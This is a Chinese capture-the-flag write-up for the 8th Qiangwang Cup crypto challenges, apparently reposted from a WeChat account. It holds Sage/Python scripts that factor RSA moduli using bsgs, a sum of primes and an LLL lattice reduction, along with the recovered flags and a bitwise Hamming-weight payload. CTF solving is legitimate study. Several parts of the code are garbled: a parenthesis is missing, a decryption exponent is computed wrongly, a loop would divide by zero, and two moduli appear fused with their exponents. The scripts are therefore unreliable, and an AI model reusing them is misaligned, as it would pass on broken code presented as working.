N=68181737436076529224562801475664297421729354212384041118703553655862954054390604345710204499672389859306230171439336751620692051642891341227511379742159778551509301729325926212030040953445232196672875614781992761633486842422763277359149614042100859799287161072975734377155654677838861451658435279911613496030174632772094600976623289395051692814762337022334904693262714503157142625354019950324235481018728283797128366923672374929302811892040002045357581088454106853192632046865605032932353925106145687276613086609216472031735150281366585771571092053452303427609476066826071699082450442010727647542422591413685012991847
e=65537
g=2727446902919970141730604198759853937077025270972540761838813887361413426265374291573543190662905624555591260123009922278536283328614119860275108794191
enc=22861546506055135213358174312554646492187230381898758188877170608117485697823358493902656822896995774774583447870634616151878506893600307136194448466391765676766649364517016807954203559422855990414639527101844069106007405310915954983002225014275471201621305566277481389231026040692035284000924899379960675354638203176299281188958081732877418895852360509500030058881789441137950812074377976972980617402981583206439462939115804475740461147572369766349241970070299606353350638491580474229665228427437979284493336214816411172283734295612780839157029963764634374109413111316530398201103686311906828987763255882793136411901
nbits = 2048
gamma = 0.244
cbits = ceil(nbits * (0.5 - 2 * gamma))

M = (N - 1// (2 * g)
u = M // (2 * g)
v = M - 2 * g * u
GF = Zmod(N)
x = GF.random_element()
y = x ^ (2 * g)
# c的范围大概与N^(0.5-2*gamma)很接近
c = bsgs(y, y ^ u, (Integer(2**(cbits-1)), Integer(2**(cbits+1))))
ab = u - c
apb = v + 2 * g * c
P.<x> = ZZ[]
f = x ^ 2 - apb * x + ab
a = f.roots()
if a:
    a, b = a[0][0], a[1][0]
    p = 2 * g * a + 1
    q = 2 * g * b + 1
    assert p * q == N
    d=gmpy2.invert(65537,(p-1)*(q-1))
    m=pow(enc,d,N)
    print(long_to_bytes(m))
#flag{819fbbea-be48-405b-8d63-d2e1ed26ddcb}

apbq

第一部分给了p+q,直接解方程组解pq,然后解rsa即可

from Crypto.Util.number import *
hints = 18978581186415161964839647137704633944599150543420658500585655372831779670338724440572792208984183863860898382564328183868786589851370156024615630835636170
public_key = (8983908445061805500790027773674131264184477059134643258330297523609746506857244558938579882259388926643056303964533503706124010168843307871781159037768646597379765835598471721022873979374148466662834203912734585546774824748501613356072906390139697378375478004894970919533469039521711233058543165387252332558965537)
enc1 = 23664702267463524872340419776983638860234156620934868573173546937679196743146691156369928738109129704387312263842088573122121751421709842579634121187349747424486233111885687289480494785285701709040663052248336541918235910988178207506008430080621354232140617853327942136965075461701008744432418773880574136247
var("p q")
# solve([p+q==hints,p*q==public_key[0]],[p,q])
p=9944868810114216202051445555036732697046288141145767567362511367574668195172230525918426361043964814581009916352403620781997665604176512356634685730213779
q=9033712376300945762788201582667901247552862402274890933223144005257111475166493914654365847940219049279888466211924563086788924247193643667980945105422391
d=gmpy2.invert(65537,(p-1)*(q-1))
m=pow(enc1,d,public_key[0])
print(long_to_bytes(m))
#flag{yOu_can_

第二部分参考这个题:https://github.com/josephsurin/my-ctf-challenges/tree/main/downunderctf-2023/apbq-rsa-ii

from Crypto.Util.number import *
import gmpy2 
import itertools 

hints = [18167664006612887319059224902765270796893002676833140278828762753019422055112981842474960489363321381703961075777458001649580900014422118323835566872616431879801196022002065870575408411392402196289546586784096169497244978721530181854548050568170093064608343633666745034455556011660636125341312188722206230857575988034717124849938466799179406764684006192800277663928919093116284555061765807549864323947809681527991109621704782638526626605328409367859532171057107537477854421238084732174575783823665917290620510274066760243578752198477648697118734920417043171465473317562283593970294599153056592539379370665428200952447195711999125276634064427324410040718861523090738559926416024529567298785602258493027431468948039474136925591721164931318119534505838854361600391921633689344957912535216611716210525197658061038020595741600369400188538567226209290753092804056492383493576403038752108642088542174205094977884513661328894312400391645526115755281029780242925509595414497203715717579251059180516537775192190034044062995518221635748991631833567877435432044855527136743017313475913956587406060970936389300218806222123267042390023590787944298961905087417275099768498678699178481327657171417167516104789133908383355799954295502125740895836708443532631545051884739316581432595661532600201978812720360650490725084571756108685801024225869509874266586101665454995626158761371202939602347462284734479523136008114543823450831433459621095011515966186441038409512845483898182330730232798538420024159043744330391197546534033090151900653117148770602590274982821605458511699916110955051908108195084981769474393177969191778994452329315197143862959099886040426594199154822675425243739508926625441654228097686334613893393878669456241054242984216931023190967181029144436977513308289132967622732840110850552014971155559423652307825870172665273643839724915348452843933600844277124098057514195222251732447660717054798687400834881313828738161453727952686763495185341649729764826734928113560289710721893874591843482763545781022050238655346441049269145400183941816006501187555169759754496609909352066732267489240733143973221157286630513247105385179871514462872088824415699307059448073375424111964769675866303739465390211841085428877962996612009333950319195015743572889140286865627636211661726688085249812539760899631769156862952171932474500242597112182083785993993885820454549625463201081815934704122275783593786730737294998692464604017992348135085401911323717271052284777184225788808308895898078312277586044347568030229421176481263699302517269103712436870749511150569030640471982622900104490728908671745662264368118790999669887094371008536628103283985205839448583011077421205589315164079023370873380480423797655480624151812894997816254147210406492173654676167859684107179697472075818220181959055732143227286689022300862919261932282357445132857184945657365380606773249717578103253416576278300822927945179946685975218427234731676153886742196214830610953517802082398896490313669054560856999342938684729928501971684066266282913451603936633501416803496319041037938498753511712779709718544187089409797331013052570034482242961602479535449615826129314043803710042918528093919068742071797863698141529586788871165176403351706021832743114499444358327620104563127248492878047796963678668578417711317317649158855864613197342671267006688211460724339403654215571839421451060657330746917459200896395972103477578912512576845151811782244043506990158203245444310160859805427034472571343206689612809074955802518801779909354434387997762529798439699842704610138881227039339750017044041291301568335422638822234473432613145720450048724324986092482867394452198079899425085937262829569566007628934399835144866754825012935826259204313120596759261328926099814899138819091786332269013745844869639234473829223328543766249522688858027824961235755458925538246922604928658660170686458395195714455094516952026243659139809095639584746977271909644938258445835519951859659822660413616465736923822988993362023001205350387354001389518742538212860464872897963355016431954373523341001958311279224780441974112935103607101885813140230525806928104842511182535508375256370653854398596314945331022445854932439728193698123523854257000286406412924103265141112154272954846581560535706707232301357079665757560367641848597521464139813984353782064398291430212297678985981710249848449640954601211999835994327420333840077615898620577647402435656724750874478420035438506066622319592382753357951626314613193901130171847776829835028715915533809475362288873045184870972146269975570664009921662023590318988850871708674240304838922536028975978222603171333743353770676344328056539379240160251952091919447616482468746310384070552408932048941457099963996908075696521607216160117127392144349326396466881873048653978161889995927748749894018713007845345387621358300142554253911323065368838042010559923131825780424495644916091610760221208986939588684699032045213319308761162691992679684526372742204217922960681743944252154078426816917733170731478842767011299955168392793442771655413759779828330012079627722950967820293403064916574136692432190836928681820834973375054705153628740577159076332283715581047503287766236543327123639746352358718218140738999496451259789097826888955418315455420948960832865750253988992454128969953159676548205849660126287084756667062772184849199236394924315380680595432325624310597527003772423265274172381515011689401914881791440492865126521111721491135490720038814607430352793886729848058235608976888951242514418797987603902424587920032584309277438992662002612406177543156997423275879920033388803901349460372106570919535333035075005530931520749974143718109487489464773690405582987785990631807399198602017815877628615736932921640444103019961538951409924080453868073105830403926861058056351553271238438325117113945341892868641345117717666354739204401152657265824568724844930574396801692131746182948347887298330990039956813130188310726734397327647227624857336222348894479535075823968197043597712082367216928203621372195096113190887560452114077778805217267826978957680174600648896700661787108041246311285815563141222555648612690623853372380043756168481355266174977484075201350153368394861879881147021466902464639616548709372096022100903881790906607523893718937122709803258145046640246201443742125437584626383092794534348598846352507007491372071024402191070622494792723290726249952159888270689258801831518209605331984684494095167423722682814769395395011136124403802097229547003802312444913008194461779426175966774202219703164060353710247619639616444797670202154815138319635544216865435605968576598440274865229400607917759846220490241733635333784550761091657281445767190153920335364983530948955649176448409946627043621215495253291052055143328089502060921909399314481838445391760595574721256028023254748104160019603128508459813247580199071012575470564548243643653160869637346264176539962229631459007155861619303593910852335702028789687947945204017176591671637710245426693322621890401344164908103930010123434944359446535642544335610455613014563290097498740447164765588532234051104173227090428486681237432196639010849051113283297943367655458678533223039415083212229970648958070799280218183798934412936947475706200092418142029368734423703542460299790422477057306101908887109819181833900283864512901377553398903294744032240436757248513147708619390824477281946325488648233988182215266523313192630271871582713022898695136001359046477500101902691338471887613444968977360006096239273861940537003308570404602739789562793384482463072328614436780048415757454881906540611833866593103277949189778350479066982430128813588739911708699123450670852772302012518315143187739886523841133752009403411431627334135210166268158490674049617489193734568451811305631563767138879895461211915128972052001136464325219117009268526575020143259185060399129438211933739204838473471556113061733683419796550927781471697689844772362245267864414669333605004180902109125749909627094527251227929639196166333891256051607964466745024168019642710046257012382025752216798551754734218481291943706984488965044852226035915408692360190006099857224559816721321702205114157007528405161527646495234662043058769418854867989509555645980492101674471309888249617449769387818766537286521507363933875318987283059841465034113263466805329282129011688531718330888226928182985538861888698160675575993935166249701145994333840516459683763957425287811252135418288516497258724668090570720893589001392220202503215866081052678846659294435113225403604755529161434056514190347720617892981509746298178176115911004504680708423733417567043003933522527258591024266651871947542801297494027967461186089370611417683019955221610425915102476602564577875595163809368127323441551044417398119830166634333480861474836166263750809151149882925367716717109158294278001735591243349721457642569745948372777727304599344628372129071404460081420314560242181138184594433372530956542527312169507277535425067427080573272033961044062335960097446781943943464713852520415535775461964590009720592053626735276833191667395201287169782350381649400286337671320581068162393475966154026993900267491503817148074452187674968685692827676738286623407743495304053476675585557814337747051395934698389462012185376412969498226395092969660921389546851860598196286963401213566601669371312134447231763479528825281132714154659629163342485028449235178392159929047800581413356017182808640515229830916907758564718936629282361354797342825060467423485728934161344817724645195669570041743279488627770471616053809990112020217624905718566971288375815646771826941011489252522755953750669513046736360397030033178139614200701025268874379439106827823605937814395162011464610496629969260310816473733828751702925621950679189178558836230501901549896833278381350818136384303450998925371869548764897108574733269200094127781404518559526226866356943234668270343731146570238924846392389145930121751205402107801025360037587945718465023972269017127871505677905223397264265717354039902477052798365921619710804202164432877301069885114395350359932988560762177381671800886174202738843253485016366662947631534013762668199431686636844954829232815672820621087818524872480052313215092436868441694786060866149491087132591272640372512484925209820065536439188250579925233059144898601140234767300574307770064543499923712729705795392684173268461519802573563186764326797184397534700948412913945433967852507363325964971905780586989601524153390367146648359258229427847009175862706408136630021614256943922599819744915353707065605505405255108754650913843832550812979631693907774753522010571969901574414603937420892674015995231839117113754488786873951853525400080381172976368126230453972425351846585088390430897996453524237123541504940328058513399373294691955018026085276728966907636211545420017251599484976651171587511011045311555402088003441531674726612079301412643514474016351608797610153172169183504289799345382527665445027976807805594288914226822374523878290416047130731166794970645275146679838899230273319914375858962339070224696240306307022372611702592908728473553044560433792383621205184090858406383967366660569927476272711930891160951670492482705419797165946710699851830702903751212703986232155872075291815814968549616979829912968300922126418560846941029506941166983291964696832494612175741151137349874760467919873912583546281435224379791974457208630793958550156609270535569301562500971701707730220166378820860918276153196656501517216055049560959047263892309902154534799806637704337317207294332426798932144785240877892837491213916540255237702169595754963908689566362060228840286531616263506272071630209104758589482803348198306547028354642890825208929396576535744511198985872133201883328422910058636997645974544038742857152526818200279193591945548632993859117409089526499666177843768529635522765584752171686966958674025225082900551534982822663864496310641498624067636482226197553468413718304473350852100384355909451538714494981155217324140607627001529192594345960362204316821953408077293729791132316583987036455084168527012555612575662755320923687596111161976478930953796496927811701530608223491138786355445002217973253897724452954815797952200740069102515860924306246841340715110620719064010080520601890251137419840158983682372232110885549732743013210957480060224128317033526500238823512184148665175688228182989495104715548852076450493859668272105646673716658556687074241050405995999011652923603216670079680657087965938516530853399289477550812032652813570132013632043363642231543275419582112522477771603403165634223336800025745949747259686025259253193914654368540619897805824259911685926354632966926354366011474738504154928336718302600145444529798143993840154722822916496919752274418275948572022974868132658743151124597724312835413857298109100258912203517423633396955060591787380445877361136405137884456764770035346437177846666365911942996404514058688909577420388537479730705137887284382724981647277370748117970938180337998361598944727364807635306700136822886708891244846703366604489070746736254662181664133153424206676080741799754222844721840487904751292818502985191128841017764263802485287148544879533226734579374328109393116123548125120994804958474944145162157275208066269761025331533133518061165194637413706825611215225368197240600025207601609920091267037041704509003404538399181275612079118663346319122078996775762643035864683521213720864038756854558668694021987970601131985163948257100423991091156649638455828855082098689641225427227191064496066436196910238564311309556938903101074363279783438714214000686810319314593964700396515245752624574897928947644063649523944764408047796512330228625276361149683257821973807210954066280841833363584594760062674160338927719325286883123751094638032150349052816579622931604415815584717203010376120457294250719557838220845542384660300331848348469808894848613204099574683725770570418772530683114230521534246701656445258216586603942718460760567330459519495949914503121109610953416716518253246325822837502418827700493807621067058438396395472266350036385535241769917459657069911028720968654253735107131282350340465691670072304718987805883113410923109703284511709226857412404454224134480632696220324690666011232875865070397040800589839692352465395011897202368803120241984511987886990023350101206585649266772437083674307736610972210766159533427338960639099536023799363126391923152232585561349580596376051747461194217780807031594891022664369795706957857224470935415501051269405998776504074614898154576066037136097593652607685261998773331604284781317738351924150502463533229399292002342006061064814084136982273971620097265939024591617239874622716452182434300498447992668997438018575636772416262543204370899462096267444545094719202447520254303983442269757551626971917981420832391886214473318353984504467919530676605744560570181702514827050612269680414498120789234774528411626508889225642157900885459367534535131621976619161722158595045454092744404508076778458942921772968351546747746949923880338743498072440200991676811463571287853941808400743752311812942147675191849105591452833190278091128840434401655165013867915775456793859368836906298127937132016993928188230779700911645887150375987302391471833794495376442618393763537928057243467657575717001811604221128900675671565539617923973183364469396458234914432162200119518252971721448274846235879320362924206656971472493711107677598961463553324277826426691784458674010708635756004550789902368338633272118202170095745151266197241394858857213249369608494016378408605655695885959920875374547440669053873962668442363873150049153834567361423075239603945946500886630192288260913090492117806077618626632424376566102982432553444091697020155011800620370686024911108774800055022668088543100613613174228096309065060763246766655850852015253510512266161537629867345419806436109431969930708411700101911566967002919517104730428389106979218871869316294018605789169171879572816494092699556970507058691345095743053290043643010965660058888064972257990750611470141816041727746767146945121588515830427165739580791663951175220638901672353681640741068573201739685379136413399150580568781813634565795379943175627898573979281961601130426597775585502423157884170228916127231488431429586689590468901972199917278944517954381385920056953296073260866449560737596097430662060194339499026514402114436597016401731973730043651853650327034614711256530336148766838870036963661135428033284181232453050156920003118658474927845365117212116181420702565051963778100728643598168222852870630516397528630087028144645213166977866073543422560337716097539091258081008408890966764995645782823950721804205427713461441138000880478364026137452291234097219085473748076681729365744710225699866258812642458184750213733503335681410008769697852968026707765087782780051580471050584305506657870882654862229054026904211558611036483702492497905601857907230428672827346935530394774360557751980370420474380478982270977493546198221776746976741605232235779573689964876086831651207984934002804081735380889958920120133815211422927998084949104957454336127504627613525341768568126200821158206095597406455912931152432318596085695546276155535309122148352529815091269441663541923247974004854058764556809596705832663604786920964849725772666340437231503146814919702525852955831173047034475925578238466977606367380212886384487294569287202762127531620290162734216638425280266217414140502565536528153728857070313837136578267189447351770833003020645093421166517316715705913365969539115704771615367309828871824344077610364429935885902302966430016829446544906458151777774552021907735892931746166088172499043633463907804741269349758435896324184051374836554846530281797532998785478430527583204588969002290938353083738254357929245129726962366325709845864505609920105057847210395785112818255302182526662903763852563401346841065939531070045000414364747445988455597258924280193695407035356029557886165605853810182770534711966292253269625917149411889979307227493949293798772727125069093642134972336249260641451287494290791171714670420198872575043291030381717627869863491575155529272165749904233270132027355446011702477306475989310304327921678673433432134116005168550097882940675881535040262672130135917930272236960731472446876025312391537499162154499243705765234035073593568018370546706487634666385969691916724352264802953170063020218867140629853318708729246177492734082119286679740098723150921171808923748190267110016994227117141934754898145294760231694287000959561775153135582047697469327393472840046006353260694322888486978811557952926229613247229990658445756595259401269267528233642142950389040647504583683489067768144570217588854586821184283571341001185463512704083358453110631393096575321311595304858451869536506759259316342901828061735755435612503697689359029298618985973966216562144904290097069897793453672627584130500712136242015628261603175582670033684531382379814785449542866074388448157348447109988757651430976997852522536925470046874298109954884027753297830666591084492898623504242069833220126476473468550200123436918952133239264223291765247744127414491614915358658114280269483384022733002965612273627987872443453777028006606037159079637857473229879140366385523633075816362547967658930666106914269093225208138749470566410361196451552322613198077922170796521757133650653616593188707389529211951736195516459567450505062719539491392300971280344168151696498747608901895156202325057031628310902257154535024229054188243169572573959921217506613895034950332207420937319490253921536738275848606853303227591231370326999062720677496765333649661923192401321632104264946171129255546457412471493451120223131996336191293784206848370029809720940021786903633864460760755786019678336511265998427322297909733474384702243426420286924671444552444079816707773485084891630780465895504253899943221044355971296122774264925882685351095921532685536165514189427245840338009573352081361238596378247463147902103932135461503221175185423804380016872698726796026875975959333505105987427498401028413646276471516694289366781305560273008868500862200745636643674092180383386236913724338317849168167989931624711631934613720651289525420237001855513971369027283389519547276670471528216409195913185052057167250960184819346879231343764299792379011811547621266329611196364401101074400608684759910849227998646825544516024184870822739514514055088545643169404630736699361136323546717268615404574809011342622362833245601099992039789664042350284789853188040159950619203242924511038681127008964592137006103547262538912024671048254652547084347214915122796982084009745017133000966392158824959770781325486316067968108811490111619036848948267525201679095388563542381042882013442116042232979242539601997543262391138620024692240424420189786231496851309014551938100815193812977512956350760772585917392594679707526143700134905103730609104761153390018659394673990668548145698557347686312371633192346938656543210566232484979818217561635172153304817474550197839423880308119965143096260141101824772370858657624912960190922708879345774507598595008331705725441057080530773097285721556537121282837594544143441953208783728710383586054502176671726097169651121269564738513585870857829805]
n,e = (7356630748876312258017986762625264294095529874875281891901782862496383270076691540912505751562434729960394479034221538022072896439307126145414334887836919297908709039485810825542184196668898288477899978607628749323149953676215894179093373820095919518531022326863010509011959336346456885826807438272320434481965537)
enc2 = 30332590230153809507216298771130058954523332140754441956121305005101434036857592445870499808003492282406658682811671092885592290410570348283122359319554197485624784590315564056341976355615543224373344781813890901916269854242660708815123152440620383035798542275833361820196294814385622613621016771854846491244

V = hints[:4]
k = 2^800
M = Matrix.column([k * v for v in V]).augment(Matrix.identity(len(V)))
B = [b[1:] for b in M.LLL()] 
M = (k * Matrix(B[:len(V)-2])).T.augment(Matrix.identity(len(V)))
B = [b[-len(V):] for b in M.LLL() if set(b[:len(V)-2]) == {0}]
for s, t in itertools.product(range(4), repeat=2):
    T = s*B[0] + t*B[1]
    a1, a2, a3, a4 = T 
    kq = gcd(a1 * hints[1] - a2 * hints[0], n)
    if 1 < kq < n: 
        print('find!', kq, s, t)
        break 
for i in range(2**161-1):
    if kq % i == 0:
        kq //= i 
q = int(kq)
p = int(n // kq) 
d = pow(0x10001-1, (p - 1) * (q - 1))
m = pow(enc2, d, n)
flag= long_to_bytes(m).decode() 
print(flag)
#s0lve_the_@pb

第三部分参考这个题:https://blog.maple3142.net/2024/05/28/angstromctf-2024-writeups/

但是解出来不对,后面发现用的第二组的数据加密的rsa。。。。直接用上一个d解就好

enc3 = 17737974772490835017139672507261082238806983528533357501033270577311227414618940490226102450232473366793815933753927943027643033829459416623683596533955075569578787574561297243060958714055785089716571943663350360324047532058597960949979894090400134473940587235634842078030727691627400903239810993936770281755
d=63161710023005682001641222387261908738600679768601303308593545341859788186928800467532061832081889220655732875520328593226116199528042689465519293752965146159007213214854517385876812127128763146579744489192395430402667797637566878199509162723122664866142409202723436205520130646241903926144243067536101288033
n=73566307488763122580179867626252642940955298748752818919017828624963832700766915409125057515624347299603944790342215380220728964393071261454143348878369192979087090394858108255421841966688982884778999786076287493231499536762158941790933738200959195185310223268630105090119593363464568858268074382723204344819
print(long_to_bytes(pow(enc3, d, n)))
#q_prob1em!!}

21_steps

计算一个128bit数的汉明权重,找到了这篇文章:https://blog.csdn.net/nazeniwaresakini/article/details/107892004里面实现的是64bit的,根据相同的思想做一个扩展就能实现128bit的计算

最终payload

B=A>>1;B=B&113427455640312821154458202477256070485;A=A-B;B=A&68056473384187692692674921486353642291;A=A>>2;A=A&68056473384187692692674921486353642291;A=A+B;B=A>>4;A=A+B;A=A&20016609818878733144904388672456953615;B=A>>8;A=A+B;B=A>>16;A=A+B;B=A>>32;A=A+B;B=A>>64;A=A+B;A=A&127;
第八届强网杯全国网络安全挑战赛 WriteUp

作者

第八届强网杯全国网络安全挑战赛 WriteUp

CTF战队

ctf.wgpsec.org

扫描关注公众号回复加群

和师傅们一起讨论研究~

WgpSec狼组安全团队

微信号:wgpsec

Twitter:@wgpsec

第八届强网杯全国网络安全挑战赛 WriteUp
第八届强网杯全国网络安全挑战赛 WriteUp

原文始发于微信公众号(白帽子):第八届强网杯全国网络安全挑战赛 WriteUp

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月4日23:20:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   第八届强网杯全国网络安全挑战赛 WriteUphttps://cn-sec.com/archives/3354853.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息